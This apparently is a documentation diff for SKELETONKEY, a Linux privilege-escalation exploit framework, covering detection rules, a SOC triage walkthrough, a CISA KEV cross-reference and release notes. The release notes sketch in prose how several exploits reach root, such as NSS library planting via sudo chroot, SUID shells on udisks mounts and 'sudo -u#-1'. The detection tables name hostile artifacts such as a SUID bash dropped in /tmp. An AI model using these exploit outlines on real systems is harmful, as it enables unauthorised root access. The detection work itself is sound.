| `pack2theroot_malicious_deb` | `.deb` ar-archive in `/tmp` with the SUID-bash postinst. |
|
||||
| `pack2theroot_suid_bash_drop` | `/tmp/.suid_bash` exists and is a real bash ELF. |
|
||||
|
||||
The page-cache overlay rules (`dirtydecrypt_payload_overlay`,
|
||||
`fragnesia_payload_overlay`) are particularly high-signal: no
|
||||
legitimate ELF starts with those exact 28 bytes, so a hit means the
|
||||
exploit landed.
|
||||
|
||||
### Falco runtime detection
|
||||
|
||||
Falco catches the exploit **as it fires** by hooking syscalls and
|
||||
namespace events. Best deploy for K8s / container hosts but works on
|
||||
any modern Linux:
|
||||
|
||||
```bash
|
||||
sudo skeletonkey --detect-rules --format=falco \
|
||||
| sudo tee /etc/falco/rules.d/skeletonkey.yaml
|
||||
sudo falco --validate /etc/falco/rules.d/skeletonkey.yaml
|
||||
sudo systemctl reload falco # or restart, depending on distro
|
||||
```
|
||||
|
||||
What each rule catches:
|
||||
|
||||
| Rule | Triggers on |
|
||||
|---|---|
|
||||
| `Pwnkit-style pkexec invocation` | `pkexec` spawned with empty argv (the bug's hallmark). |
|
||||
| `Pwnkit-style GCONV_PATH injection` | Non-root sets `GCONV_PATH=` / `CHARSET=` before spawning a setuid binary. |
|
||||
| `AF_ALG authenc keyblob installed by non-root` | `socket(AF_ALG)` by non-root — Copy Fail / GCM variant primitive. |
|
||||
| `XFRM NETLINK_XFRM bind from unprivileged userns` | XFRM SA setup from non-root userns — Dirty Frag / Fragnesia primitive. |
|
||||
| `/etc/passwd modified by non-root` | Post-fire signal for the whole page-cache-write family. |
|
||||
| `Dirty Pipe splice from setuid/sensitive file by non-root` | `splice()` of `/etc/passwd` or `/usr/bin/su` by non-root. |
|
||||
| `AF_RXRPC socket created by non-root` | DirtyDecrypt primitive — `socket(AF_RXRPC)` is nearly unheard-of in production. |
|
||||
| `rxrpc security key added` | `add_key("rxrpc", …)` by non-root — DirtyDecrypt handshake setup. |
|
||||
| `TCP_ULP=espintcp set by non-root` | Fragnesia trigger — flipping a TCP socket to espintcp ULP. |
|
||||
| `SUID bash dropped to /tmp` | Pack2TheRoot postinst landing `/tmp/.suid_bash`. |
|
||||
| `dpkg invoked by PackageKit on behalf of non-root caller` | Pack2TheRoot chain — `packagekitd → dpkg` installing a /tmp `.pk-*.deb`. |
|
||||
|
||||
## Day-to-day operational shape
|
||||
|
||||
### What "good" looks like in the SIEM
|
||||
@@ -245,6 +320,96 @@ sudo rm /etc/sysctl.d/99-dirtyfail-mitigations.conf
|
||||
# Reload affected modules / sysctls per your distro
|
||||
```
|
||||
|
||||
## Per-module detection coverage
|
||||
|
||||
Across the 4 rule formats:
|
||||
|
||||
| Module | CVE | auditd | sigma | yara | falco |
|
||||
|---|---|:-:|:-:|:-:|:-:|
|
||||
| copy_fail | CVE-2026-31431 | ✓ | ✓ | ✓ | ✓ |
|
||||
| copy_fail_gcm | (variant) | ✓ | ✓ | ✓ | ✓ |
|
||||
| dirty_frag_esp | CVE-2026-43284 | ✓ | ✓ | ✓ | ✓ |
|
||||
| dirty_frag_esp6 | CVE-2026-43284 | ✓ | ✓ | ✓ | ✓ |
|
||||
| dirty_frag_rxrpc | CVE-2026-43500 | ✓ | ✓ | ✓ | ✓ |
|
||||
| dirty_pipe | CVE-2022-0847 | ✓ | ✓ | ✓ | ✓ |
|
||||
| dirtydecrypt | CVE-2026-31635 | ✓ | ✓ | ✓ | ✓ |
|
||||
| fragnesia | CVE-2026-46300 | ✓ | ✓ | ✓ | ✓ |
|
||||
| pwnkit | CVE-2021-4034 | ✓ | ✓ | ✓ | ✓ |
|
||||
| pack2theroot | CVE-2026-41651 | ✓ | ✓ | ✓ | ✓ |
|
||||
| Other 21 modules | various | ✓ | partial | — | — |
|
||||
|
||||
Full 4-format coverage on the 10 highest-value modules; auditd
|
||||
covers everything. YARA / Falco expansion to the remaining 21 modules
|
||||
is incremental contributor work (each module's `detect_yara` /
|
||||
`detect_falco` field in the module struct just needs a string).
|
||||
|
||||
## Correlation across formats
|
||||
|
||||
Single-format detections are useful; the high-confidence signal is
|
||||
the **correlation across formats** for the same module in a short
|
||||
window. Each exploit leaves a recognisable multi-format trail:
|
||||
|
||||
| Exploit | falco fires | auditd fires | yara confirms |
|
||||
|---|---|---|---|
|
||||
| Pwnkit | `pkexec` empty argv | `execve /usr/bin/pkexec` + `GCONV_PATH=` env | gconv-modules cache in /tmp |
|
||||
| Dirty Pipe | `splice()` from `/etc/passwd` | splice + write to `/etc/passwd` | UID flip in `/etc/passwd` |
|
||||
| Copy Fail | `socket(AF_ALG)` | algif_aead + `ALG_SET_KEY` | UID flip in `/etc/passwd` |
|
||||
| Dirty Frag (ESP) | NETLINK_XFRM sendto + TCP_ULP | XFRM_MSG_NEWSA | UID flip in `/etc/passwd` |
|
||||
| DirtyDecrypt | `socket(AF_RXRPC)` + `add_key(rxrpc)` | AF_RXRPC + add_key | 120-byte ELF overwrites `/usr/bin/su` |
|
||||
| Fragnesia | `TCP_ULP=espintcp` from non-root | XFRM + setsockopt(TCP_ULP) | 192-byte ELF overwrites `/usr/bin/su` |
|
||||
| Pack2TheRoot | dpkg invoked by packagekitd with /tmp/.pk-*.deb | new `.deb` in `/tmp` + `chmod 4755` on `/tmp/.suid_bash` | malicious `.deb` + SUID bash both present |
|
||||
|
||||
If **three of the four signals** fire for the same module in the same
|
||||
window, the exploit landed. **One signal alone** in a noisy
|
||||
environment is more likely a tuning FP; **three signals** is incident
|
||||
response.
|
||||
|
||||
## Worked example: catching DirtyDecrypt end-to-end
|
||||
|
||||
A SOC operator gets a Falco page:
|
||||
|
||||
```
|
||||
CRITICAL AF_RXRPC socket() by non-root (user=alice proc=poc pid=44231)
|
||||
```
|
||||
|
||||
1. **Confirm via auditd** — pull events keyed on the family:
|
||||
```bash
|
||||
sudo ausearch -k skeletonkey-dirtydecrypt-rxrpc -ts recent
|
||||
```
|
||||
Expect: `socket(...,33,...)` + subsequent `add_key("rxrpc",...)`.
|
||||
|
||||
2. **Confirm via yara** — scan setuid binaries for the page-cache
|
||||
overlay:
|
||||
```bash
|
||||
yara /etc/yara/skeletonkey.yar /usr/bin/su /usr/bin/passwd
|
||||
```
|
||||
If `dirtydecrypt_payload_overlay` matches `/usr/bin/su`, **the
|
||||
exploit landed** — the binary's page cache has been overwritten
|
||||
with the 120-byte shellcode.
|
||||
|
||||
3. **Recover** — the on-disk binary is intact; only the page cache is
|
||||
corrupted. Drop it:
|
||||
```bash
|
||||
sudo skeletonkey --cleanup dirtydecrypt # or: echo 3 > /proc/sys/vm/drop_caches
|
||||
```
|
||||
|
||||
4. **Sigma hunt for lateral / repeat** — query your SIEM with the
|
||||
sigma rule ID `7c1e9a40-skeletonkey-dirtydecrypt` over the last 7
|
||||
days to find any other hosts.
|
||||
|
||||
5. **Patch.** DirtyDecrypt's mainline fix is commit `a2567217` in
|
||||
Linux 7.0 — see [`CVES.md`](../CVES.md) for distro backports.
|
||||
|
||||
6. **Harden.** `rxrpc` is rarely needed on non-AFS hosts:
|
||||
```bash
|
||||
echo "blacklist rxrpc" | sudo tee /etc/modprobe.d/blacklist-rxrpc.conf
|
||||
sudo update-initramfs -u
|
||||
```
|
||||
|
||||
The same shape applies to every module: pick the auditd key, the
|
||||
yara rule for the artifact, the falco rule for the runtime signal,
|
||||
and the sigma rule for the hunt.
|
||||
|
||||
## Common false positives + tuning
|
||||
|
||||
| Rule key | False positive | Fix |
|
||||
|
||||
@@ -0,0 +1,47 @@
|
||||
# CISA KEV Cross-Reference
|
||||
|
||||
Which SKELETONKEY modules cover CVEs that CISA has observed exploited
|
||||
in the wild per the Known Exploited Vulnerabilities catalog.
|
||||
Refreshed via `tools/refresh-cve-metadata.py`.
|
||||
|
||||
**10 of 26 modules cover KEV-listed CVEs.**
|
||||
|
||||
## In KEV (prioritize patching)
|
||||
|
||||
| CVE | Date added to KEV | CWE | Module |
|
||||
| --- | --- | --- | --- |
|
||||
| CVE-2019-13272 | 2021-12-10 | ? | `ptrace_traceme_cve_2019_13272` |
|
||||
| CVE-2016-5195 | 2022-03-03 | CWE-362 | `dirty_cow_cve_2016_5195` |
|
||||
| CVE-2021-3156 | 2022-04-06 | CWE-193 | `sudo_samedit_cve_2021_3156` |
|
||||
| CVE-2022-0847 | 2022-04-25 | CWE-665 | `dirty_pipe_cve_2022_0847` |
|
||||
| CVE-2021-4034 | 2022-06-27 | CWE-787 | `pwnkit_cve_2021_4034` |
|
||||
| CVE-2021-3493 | 2022-10-20 | CWE-270 | `overlayfs_cve_2021_3493` |
|
||||
| CVE-2024-1086 | 2024-05-30 | CWE-416 | `nf_tables_cve_2024_1086` |
|
||||
| CVE-2022-0185 | 2024-08-21 | CWE-190 | `fuse_legacy_cve_2022_0185` |
|
||||
| CVE-2023-0386 | 2025-06-17 | CWE-282 | `overlayfs_setuid_cve_2023_0386` |
|
||||
| CVE-2021-22555 | 2025-10-06 | CWE-787 | `netfilter_xtcompat_cve_2021_22555` |
|
||||
|
||||
## Not in KEV
|
||||
|
||||
Not observed exploited per CISA — but several have public PoC code
|
||||
and are technically reachable. "Not in KEV" is not the same as
|
||||
"safe to ignore".
|
||||
|
||||
| CVE | CWE | Module |
|
||||
| --- | --- | --- |
|
||||
| CVE-2017-7308 | CWE-681 | `af_packet_cve_2017_7308` |
|
||||
| CVE-2020-14386 | CWE-250 | `af_packet2_cve_2020_14386` |
|
||||
| CVE-2021-33909 | CWE-190 | `sequoia_cve_2021_33909` |
|
||||
| CVE-2022-0492 | CWE-287 | `cgroup_release_agent_cve_2022_0492` |
|
||||
| CVE-2022-25636 | CWE-269 | `nft_fwd_dup_cve_2022_25636` |
|
||||
| CVE-2022-2588 | CWE-416 | `cls_route4_cve_2022_2588` |
|
||||
| CVE-2023-0179 | CWE-190 | `nft_payload_cve_2023_0179` |
|
||||
| CVE-2023-0458 | CWE-476 | `entrybleed_cve_2023_0458` |
|
||||
| CVE-2023-2008 | CWE-129 | `vmwgfx_cve_2023_2008` |
|
||||
| CVE-2023-22809 | CWE-269 | `sudoedit_editor_cve_2023_22809` |
|
||||
| CVE-2023-32233 | CWE-416 | `nft_set_uaf_cve_2023_32233` |
|
||||
| CVE-2023-3269 | CWE-416 | `stackrot_cve_2023_3269` |
|
||||
| CVE-2023-4622 | CWE-416 | `af_unix_gc_cve_2023_4622` |
|
||||
| CVE-2026-31635 | CWE-130 | `dirtydecrypt_cve_2026_31635` |
|
||||
| CVE-2026-41651 | CWE-367 | `pack2theroot_cve_2026_41651` |
|
||||
| CVE-2026-46300 | ? | `fragnesia_cve_2026_46300` |
|
||||
@@ -0,0 +1,448 @@
|
||||
## SKELETONKEY v0.9.3 — CVE metadata refresh + dirtydecrypt range fix
|
||||
|
||||
**CVE metadata refresh (10 → 12 KEV).** Populated the 8 missing
|
||||
entries in `core/cve_metadata.c` for v0.8.0 + v0.9.0 module additions.
|
||||
Two of them are CISA-KEV-listed:
|
||||
|
||||
- **CVE-2018-14634** `mutagen_astronomy` — KEV-listed 2026-01-26 (CWE-190)
|
||||
- **CVE-2025-32463** `sudo_chwoot` — KEV-listed 2025-09-29 (CWE-829)
|
||||
|
||||
Other 6 entries got CWE / ATT&CK technique metadata so `--explain` and
|
||||
`--module-info` now surface WEAKNESS + THREAT INTEL correctly for them.
|
||||
(`tools/refresh-cve-metadata.py` hangs on CISA's HTTP/2 endpoint via
|
||||
Python urlopen — populated directly via curl + max-time as a workaround.)
|
||||
|
||||
**dirtydecrypt module bug fix.** Auditing dirtydecrypt's range table
|
||||
against NVD's authoritative CPE match for CVE-2026-31635 surfaced that
|
||||
`dd_detect()` was wrongly gating "predates the bug" on kernel < 7.0.
|
||||
Per NVD, the rxgk RESPONSE bug entered at 6.16.1 stable; vulnerable
|
||||
ranges are 6.16.1–6.18.22, 6.19.0–6.19.12, and 7.0-rc1..rc7. The fix:
|
||||
|
||||
- `dd_detect()` predates-gate now uses 6.16.1 (not 7.0)
|
||||
- `patched_branches[]` table adds `{6, 18, 23}` for the 6.18 backport
|
||||
|
||||
Re-verified empirically: dirtydecrypt now correctly returns VULNERABLE
|
||||
on mainline 6.19.7 (genuinely below the 6.19.13 backport). Previously
|
||||
it returned OK there — a false negative that would have lied to anyone
|
||||
running scan on a real vulnerable kernel.
|
||||
|
||||
---
|
||||
|
||||
## SKELETONKEY v0.9.2 — dirtydecrypt verified on mainline 6.19.7
|
||||
|
||||
One more empirical verification: **CVE-2026-31635 dirtydecrypt** confirmed
|
||||
end-to-end on Ubuntu 22.04 + mainline 6.19.7. detect() correctly returns
|
||||
OK ("kernel predates the rxgk RESPONSE-handling code added in 7.0"). Footer
|
||||
goes 27 → 28.
|
||||
|
||||
Attempted but deferred: **CVE-2026-46300 fragnesia**. Mainline 7.0.5 kernel
|
||||
.debs depend on `libssl3t64` / `libelf1t64` (the t64-transition libs
|
||||
introduced in Ubuntu 24.04 / Debian 13). No Vagrant box with a Parallels
|
||||
provider has those libs yet — `dpkg --force-depends` leaves the kernel
|
||||
package in `iHR` (broken) state with no `/boot/vmlinuz` deposited. Marked
|
||||
`manual: true` with rationale in `targets.yaml`. Resolvable when a
|
||||
Parallels-supported ubuntu2404 / debian13 box becomes available.
|
||||
|
||||
---
|
||||
|
||||
## SKELETONKEY v0.9.1 — VM verification sweep (22 → 27)
|
||||
|
||||
Five more CVEs empirically confirmed end-to-end against real Linux VMs
|
||||
via `tools/verify-vm/`:
|
||||
|
||||
| CVE | Module | Target environment |
|
||||
|---|---|---|
|
||||
| CVE-2019-14287 | `sudo_runas_neg1` | Ubuntu 18.04 (sudo 1.8.21p2 + `(ALL,!root)` grant via provisioner) |
|
||||
| CVE-2020-29661 | `tioscpgrp` | Ubuntu 20.04 pinned to `5.4.0-26` (genuinely below the 5.4.85 backport) |
|
||||
| CVE-2024-26581 | `nft_pipapo` | Ubuntu 22.04 + mainline `5.15.5` (below the 5.15.149 fix) |
|
||||
| CVE-2025-32463 | `sudo_chwoot` | Ubuntu 22.04 + sudo `1.9.16p1` built from upstream into `/usr/local/bin` |
|
||||
| CVE-2025-6019 | `udisks_libblockdev` | Debian 12 + `udisks2` 2.9.4 + polkit allow rule for the verifier user |
|
||||
|
||||
Footer goes from `22 empirically verified` → `27 empirically verified`.
|
||||
|
||||
### Verifier infrastructure (the why)
|
||||
|
||||
These verifications required real plumbing work that didn't exist before:
|
||||
|
||||
- **Per-module provisioner hook** (`tools/verify-vm/provisioners/<module>.sh`)
|
||||
— per-target setup that doesn't belong in the Vagrantfile (build sudo
|
||||
from source, install udisks2 + polkit rule, drop a sudoers grant) now
|
||||
lives in checked-in scripts that re-run idempotently on every verify.
|
||||
- **Two-phase provisioning** in `verify.sh` — prep provisioners run
|
||||
first (install kernel, set grub default, drop polkit rule), then a
|
||||
conditional reboot if `uname -r` doesn't match the target, then the
|
||||
verifier proper. Fixes the silent-fail where the new kernel was
|
||||
installed but the VM never actually rebooted into it.
|
||||
- **GRUB_DEFAULT pin in both `pin-kernel` and `pin-mainline` blocks** —
|
||||
without this, grub's debian-version-compare picks the highest-sorting
|
||||
vmlinuz as default; for downgrades (stock 4.15 → mainline 4.14.70, or
|
||||
stock 5.4.0-169 → pinned 5.4.0-26) the wrong kernel won boot.
|
||||
- **Old-mainline URL fallback** — kernel.ubuntu.com puts ≤ 4.15 mainline
|
||||
debs at `/v${KVER}/` not `/v${KVER}/amd64/`. Fallback handles both.
|
||||
|
||||
### Honest residuals — 7 of 34 still unverified
|
||||
|
||||
| Module | Why not verified |
|
||||
|---|---|
|
||||
| `vmwgfx` | needs a VMware guest; we're on Parallels |
|
||||
| `dirty_cow` | needs ≤ 4.4 kernel — older than any supported Vagrant box |
|
||||
| `mutagen_astronomy` | mainline 4.14.70 kernel-panics on Ubuntu 18.04 rootfs (`Failed to execute /init (error -8)` — kernel config mismatch). Genuinely needs CentOS 6 / Debian 7. |
|
||||
| `pintheft` | needs RDS kernel module loaded (Arch only autoloads it) |
|
||||
| `vsock_uaf` | needs `vsock_loopback` loaded — not autoloaded on common Vagrant boxes |
|
||||
| `dirtydecrypt`, `fragnesia` | need Linux 7.0 — not yet shipping as any distro kernel |
|
||||
|
||||
All seven are flagged in `tools/verify-vm/targets.yaml` with `manual: true`
|
||||
and a rationale.
|
||||
|
||||
---
|
||||
|
||||
## SKELETONKEY v0.9.0 — every year 2016 → 2026 now covered
|
||||
|
||||
Five gap-filling modules. Closes the 2018 hole entirely and thickens
|
||||
2019 / 2020 / 2024.
|
||||
|
||||
### CVE-2018-14634 — `mutagen_astronomy` (Qualys)
|
||||
|
||||
Closes the 2018 gap. `create_elf_tables()` int-wrap → on x86_64, a
|
||||
multi-GiB argv blob makes the kernel under-allocate the SUID
|
||||
carrier's stack and corrupt adjacent allocations. CISA-KEV-listed
|
||||
Jan 2026 despite the bug's age — legacy RHEL 7 / CentOS 7 / Debian
|
||||
8 fleets still affected. 🟡 PRIMITIVE (trigger documented;
|
||||
Qualys' full chain not bundled per verified-vs-claimed).
|
||||
`arch_support: x86_64+unverified-arm64`.
|
||||
|
||||
### CVE-2019-14287 — `sudo_runas_neg1` (Joe Vennix)
|
||||
|
||||
`sudo -u#-1 <cmd>` → uid_t underflows to 0xFFFFFFFF → sudo treats it
|
||||
as uid 0 → runs `<cmd>` as root even when sudoers explicitly says
|
||||
"ALL except root". Pure userspace logic bug; the famous Apple
|
||||
Information Security finding. detect() looks for a `(ALL,!root)`
|
||||
grant in `sudo -ln` output. `arch_support: any`. Sudo < 1.8.28.
|
||||
|
||||
### CVE-2020-29661 — `tioscpgrp` (Jann Horn / Project Zero)
|
||||
|
||||
TTY `TIOCSPGRP` ioctl race on PTY pairs → `struct pid` UAF in
|
||||
kmalloc-256. Affects everything through Linux 5.9.13. 🟡 PRIMITIVE
|
||||
(race-driver + msg_msg groom). Public PoCs from grsecurity/spender
|
||||
+ Maxime Peterlin. `arch_support: x86_64+unverified-arm64`.
|
||||
|
||||
### CVE-2024-50264 — `vsock_uaf` (a13xp0p0v / Pwnie 2025 winner)
|
||||
|
||||
AF_VSOCK `connect()` races a POSIX signal that tears down the
|
||||
virtio_vsock_sock → UAF in kmalloc-96. **Pwn2Own 2024 + Pwnie Award
|
||||
2025 winner.** Reachable as plain unprivileged user (no userns
|
||||
required — unusual). Two public exploit paths: @v4bel + @qwerty
|
||||
kernelCTF chain (BPF JIT spray + SLUBStick) and Alexander Popov's
|
||||
msg_msg path (PT SWARM Sep 2025). 🟡 PRIMITIVE.
|
||||
`arch_support: x86_64+unverified-arm64`.
|
||||
|
||||
### CVE-2024-26581 — `nft_pipapo` (Notselwyn II, "Flipping Pages")
|
||||
|
||||
`nft_set_pipapo` destroy-race UAF. Sibling to our `nf_tables` module
|
||||
(CVE-2024-1086) — same Notselwyn "Flipping Pages" research paper,
|
||||
different specific bug in the pipapo set substrate. Same family
|
||||
detect signature. 🟡 PRIMITIVE.
|
||||
`arch_support: x86_64+unverified-arm64`.
|
||||
|
||||
### Year-by-year coverage matrix
|
||||
|
||||
```
|
||||
2016: ▓ 1 2021: ▓▓▓▓▓ 5 2025: ▓▓ 2
|
||||
2017: ▓ 1 2022: ▓▓▓▓▓ 5 2026: ▓▓▓▓ 4
|
||||
2018: ▓ 1 ← 2023: ▓▓▓▓▓▓▓▓ 8
|
||||
2019: ▓▓ 2 ← 2024: ▓▓▓ 3 ←
|
||||
2020: ▓▓ 2 ←
|
||||
```
|
||||
|
||||
Every year 2016 → 2026 is now ≥1.
|
||||
|
||||
### Corpus growth
|
||||
|
||||
| | v0.8.0 | v0.9.0 |
|
||||
|---|---|---|
|
||||
| Modules registered | 34 | 39 |
|
||||
| Distinct CVEs | 29 | 34 |
|
||||
| Years with ≥1 CVE | 10 of 11 (missing 2018) | **11 of 11** |
|
||||
| Detection rules embedded | 131 | 151 |
|
||||
| Arch-independent (`any`) | 6 | 7 |
|
||||
| VM-verified | 22 | 22 |
|
||||
|
||||
### Other changes
|
||||
|
||||
- All 5 new modules ship complete detection-rule corpus
|
||||
(auditd + sigma + yara + falco) — corpus stays at 4-format
|
||||
parity with the rest of the modules.
|
||||
- `tools/refresh-cve-metadata.py` runs against 34 CVEs (was 29);
|
||||
takes ~4 minutes due to NVD anonymous rate limit.
|
||||
|
||||
---
|
||||
|
||||
## SKELETONKEY v0.8.0 — 3 new 2025/2026 CVEs
|
||||
|
||||
Closes the 2025 coverage gap. Three new modules from CVEs disclosed
|
||||
2025–2026, all with public PoC code we ported into proper
|
||||
SKELETONKEY modules:
|
||||
|
||||
### CVE-2025-32463 — `sudo_chwoot` (Stratascale)
|
||||
|
||||
Critical (CVSS 9.3) sudo logic bug: `sudo --chroot=<DIR>` chroots
|
||||
into a user-controlled directory before completing authorization +
|
||||
resolves user/group via NSS inside the chroot. Plant a malicious
|
||||
`libnss_*.so` + an `nsswitch.conf` that points to it; sudo dlopens
|
||||
the .so as root, ctor fires, root shell. Affects sudo 1.9.14 to
|
||||
1.9.17p0; fixed in 1.9.17p1 (which deprecated --chroot entirely).
|
||||
`arch_support: any` (pure userspace).
|
||||
|
||||
### CVE-2025-6019 — `udisks_libblockdev` (Qualys)
|
||||
|
||||
udisks2 + libblockdev SUID-on-mount chain. libblockdev's internal
|
||||
filesystem-resize/repair mount path omits `MS_NOSUID` and
|
||||
`MS_NODEV`. udisks2 gates the operation on polkit's
|
||||
`org.freedesktop.UDisks2.modify-device` action, which is
|
||||
`allow_active=yes` by default → any active console session user can
|
||||
trigger it without a password. Build an ext4 image with a SUID-root
|
||||
shell inside, get udisks to mount it, execute the SUID shell.
|
||||
Affects libblockdev < 3.3.1, udisks2 < 2.10.2. `arch_support: any`.
|
||||
|
||||
### CVE-2026-43494 — `pintheft` (V12 Security)
|
||||
|
||||
Linux kernel RDS zerocopy double-free. `rds_message_zcopy_from_user()`
|
||||
pins user pages one at a time; if a later page faults, the error
|
||||
unwind drops the already-pinned pages, but the msg's scatterlist
|
||||
cleanup drops them AGAIN. Each failed `sendmsg(MSG_ZEROCOPY)` leaks
|
||||
one pin refcount. Chain via io_uring fixed buffers to overwrite the
|
||||
page cache of a readable SUID binary → execve → root. Mainline fix
|
||||
commit `0cebaccef3ac` (posted to netdev 2026-05-05). Among common
|
||||
distros only **Arch Linux** autoloads the rds module — Ubuntu /
|
||||
Debian / Fedora / RHEL / Alma / Rocky / Oracle Linux either don't
|
||||
build it or blacklist autoload. `detect()` correctly returns OK
|
||||
on non-Arch hosts (RDS unreachable from userland). 🟡 PRIMITIVE
|
||||
status: primitive fires; full cred-overwrite via the shared
|
||||
modprobe_path finisher requires `--full-chain` on x86_64.
|
||||
|
||||
### Corpus growth
|
||||
|
||||
| | v0.7.1 | v0.8.0 |
|
||||
|---|---|---|
|
||||
| Modules registered | 31 | 34 |
|
||||
| Distinct CVEs | 26 | 29 |
|
||||
| 2025-CVE coverage | 0 | 2 |
|
||||
| Detection rules embedded | 119 | 131 |
|
||||
| Arch-independent (`any`) | 4 | 6 |
|
||||
| CISA KEV-listed | 10 | 10 (new ones not yet KEV'd) |
|
||||
| VM-verified | 22 | 22 |
|
||||
|
||||
### Other changes
|
||||
|
||||
- `tools/refresh-cve-metadata.py` — added curl fallback for the
|
||||
CISA KEV CSV fetch (Python's urlopen was hitting timeouts against
|
||||
CISA's HTTP/2 endpoint).
|
||||
- `tools/verify-vm/targets.yaml` — entries for the 3 new modules
|
||||
with honest "no Vagrant box covers this yet" notes for
|
||||
pintheft (needs Arch) and udisks_libblockdev (needs active
|
||||
console session + udisks2 installed).
|
||||
|
||||
---
|
||||
|
||||
## SKELETONKEY v0.7.1 — arm64-static binary + per-module arch_support
|
||||
|
||||
Point release on top of v0.7.0. Two additions:
|
||||
|
||||
1. **`skeletonkey-arm64-static`** is now published alongside the
|
||||
existing x86_64-static binary. Built native-arm64 in Alpine via
|
||||
GitHub's `ubuntu-24.04-arm` runner pool. Works on Raspberry Pi 4+,
|
||||
Apple Silicon Linux VMs, AWS Graviton, Oracle Ampere, Hetzner ARM,
|
||||
and any other aarch64 Linux. `install.sh` auto-picks it.
|
||||
|
||||
2. **`arch_support` per module** — a new field on
|
||||
`struct skeletonkey_module` that honestly labels which architectures
|
||||
the `exploit()` body has been verified on. Three categories:
|
||||
|
||||
- **`any`** (4 modules): pwnkit, sudo_samedit, sudoedit_editor,
|
||||
pack2theroot. Purely userspace; arch-independent.
|
||||
- **`x86_64`** (1 module): entrybleed. KPTI prefetchnta side-channel;
|
||||
x86-only by physics (ARM uses TTBR_EL0/EL1 split, not CR3).
|
||||
Already gated in source — returns PRECOND_FAIL on non-x86_64.
|
||||
- **`x86_64+unverified-arm64`** (26 modules): kernel-exploitation
|
||||
code that hasn't been verified on arm64 yet. `detect()` works
|
||||
everywhere (it just reads `ctx->host`); the `exploit()` body uses
|
||||
primitives (msg_msg sprays, ROP-style finishers, specific struct
|
||||
offsets) that are likely portable to aarch64 but unproven.
|
||||
|
||||
`--list` adds an ARCH column; `--module-info` adds an `arch support:`
|
||||
line; `--scan --json` adds an `arch_support` field per module.
|
||||
|
||||
**What an arm64 user gets today:** the full detection/triage workflow
|
||||
works as well as on x86_64 (`--scan`, `--explain`, `--module-info`,
|
||||
`--detect-rules`, `--auto --dry-run`). Four exploit modules
|
||||
(`pwnkit`, `sudo_samedit`, `sudoedit_editor`, `pack2theroot`) will fire
|
||||
end-to-end. The remaining 26 modules currently mark themselves as
|
||||
"x86_64 verified; arm64 untested" — the bug class is generic but the
|
||||
exploitation hasn't been confirmed. Future arm64-Vagrant verification
|
||||
sweeps will promote modules to `any` as they're confirmed.
|
||||
|
||||
---
|
||||
|
||||
### From v0.7.0 — empirical verification + operator briefing
|
||||
|
||||
The headline change since v0.6.0: **22 of 26 CVEs are now empirically
|
||||
confirmed against real Linux kernels in VMs**, with verification records
|
||||
baked into the binary and surfaced in `--list`, `--module-info`, and
|
||||
`--explain`. The four still-unverified entries (`vmwgfx`, `dirty_cow`,
|
||||
`dirtydecrypt`, `fragnesia`) are blocked by their target environment
|
||||
(VMware-only, ≤4.4 kernel, Linux 7.0 not yet shipping), not by missing
|
||||
code — see
|
||||
[`tools/verify-vm/targets.yaml`](https://github.com/KaraZajac/SKELETONKEY/blob/main/tools/verify-vm/targets.yaml)
|
||||
for the rationale.
|
||||
|
||||
### Install
|
||||
|
||||
Pre-built binaries below (x86_64 dynamic, x86_64 static-musl, arm64
|
||||
dynamic; all checksum-verified). Recommended for new installs:
|
||||
|
||||
```bash
|
||||
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
|
||||
skeletonkey --version
|
||||
```
|
||||
|
||||
Static-musl x86_64 is the default — works back to glibc 2.17, no
|
||||
library dependencies.
|
||||
|
||||
### What's in this release
|
||||
|
||||
**Empirical verification (the big one)**
|
||||
- `tools/verify-vm/` — Vagrant + Parallels scaffold. Boots
|
||||
known-vulnerable kernels (stock distro or mainline via
|
||||
`kernel.ubuntu.com/mainline/`), runs `--explain --active` per module,
|
||||
records match/mismatch as JSONL.
|
||||
- 22 modules confirmed end-to-end across Ubuntu 18.04 / 20.04 / 22.04 +
|
||||
Debian 11 / 12 + mainline kernels 5.15.5 / 6.1.10.
|
||||
- Per-module `verified_on[]` table baked into the binary. `--list` adds
|
||||
a `VFY` column showing ✓ per verified module; footer prints
|
||||
`31 modules registered · 10 in CISA KEV (★) · 22 empirically verified
|
||||
in real VMs (✓)`.
|
||||
- `--module-info <name>` adds a `--- verified on ---` section.
|
||||
- `--explain <name>` adds a `VERIFIED ON` section.
|
||||
|
||||
**`--explain MODULE` — one-page operator briefing**
|
||||
|
||||
A single command renders, for any module: CVE / CWE / MITRE ATT&CK /
|
||||
CISA KEV status, host fingerprint, **live `detect()` trace** with
|
||||
verdict and interpretation, **OPSEC footprint** (what an exploit
|
||||
would leave on this host), detection-rule coverage matrix, and
|
||||
verification records. Paste-ready for triage tickets and SOC handoffs.
|
||||
|
||||
**CVE metadata pipeline**
|
||||
|
||||
`tools/refresh-cve-metadata.py` fetches CISA's Known Exploited
|
||||
Vulnerabilities catalog + NVD CWE classifications, generates
|
||||
`docs/CVE_METADATA.json` + `docs/KEV_CROSSREF.md` + the in-binary
|
||||
lookup table. **10 of 26 modules cover KEV-listed CVEs.** MITRE ATT&CK
|
||||
technique mapping (T1068 by default; T1611 for container escapes;
|
||||
T1082 for kernel info leaks). All surfaced in `--list` (★ column),
|
||||
`--module-info`, `--explain`, and `--scan --json` (new `triage`
|
||||
sub-object per module).
|
||||
|
||||
**Per-module OPSEC notes**
|
||||
|
||||
Every module's struct now carries an `opsec_notes` paragraph describing
|
||||
the runtime telemetry footprint: file artifacts, dmesg signatures,
|
||||
syscall observables, network activity, persistence side effects,
|
||||
cleanup behavior. Grounded in source + existing detection rules — the
|
||||
inverse of what the auditd/sigma/yara/falco rules look for. Surfaced
|
||||
in `--module-info` (text + JSON) and `--explain`.
|
||||
|
||||
**119 detection rules across all 4 SIEM formats**
|
||||
|
||||
Previously: auditd everywhere, sigma on top-10, yara/falco only on a
|
||||
handful. Now: 30/31 auditd, 31/31 sigma, 28/31 yara, 30/31 falco
|
||||
(the 3 remaining gaps are intentional skips — `entrybleed` is a pure
|
||||
timing side-channel with no syscall/file footprint;
|
||||
`ptrace_traceme` and `sudo_samedit` are pure-memory races with no
|
||||
on-disk artifacts).
|
||||
|
||||
**Test harness**
|
||||
|
||||
88 tests on every push: 33 kernel_range / host-fingerprint unit tests
|
||||
(`tests/test_kernel_range.c` — boundary conditions, NULL safety,
|
||||
multi-LTS, mainline-only) + 55 `detect()` integration tests
|
||||
(`tests/test_detect.c` — synthetic host fingerprints across 26
|
||||
modules). Coverage report at the end identifies any modules without
|
||||
direct test rows.
|
||||
|
||||
